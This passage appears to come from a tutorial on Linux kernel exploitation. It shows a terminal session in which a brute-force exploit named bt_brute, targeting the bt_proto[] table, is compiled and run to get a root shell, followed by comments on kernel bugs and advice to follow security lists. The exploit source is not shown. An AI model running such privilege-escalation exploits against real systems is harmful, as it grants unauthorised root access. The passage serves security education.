We shall check to see if it indeed works:

```
bash-2.05b$ gcc -o bt_brute bt_brute.c
bash-2.05b$ ./bt_brute
....
geteuid() = 0!
sh-2.05b# id
uid=0(root) gid=0(root)
sh-2.05b# exit
exit
bash-2.05b$
```

We already managed to hit the right address after four attempts. On other systems the number could be much greater. However, we can be sure that if the kernel is “full of holes” our exploit will work, independent of the bt_proto[] table address.

The system kernel is indeed “full of holes” and probably will remain that way for a long time. Just look at the statistics. In just the two first months, several errors were found in the system kernel itself. Each of these errors could cause the system to freeze or be used to increase rights. It is worth keeping up-to-date on what is happening on the discussion lists. This will help to maintain an optimal security level, not least for our own system.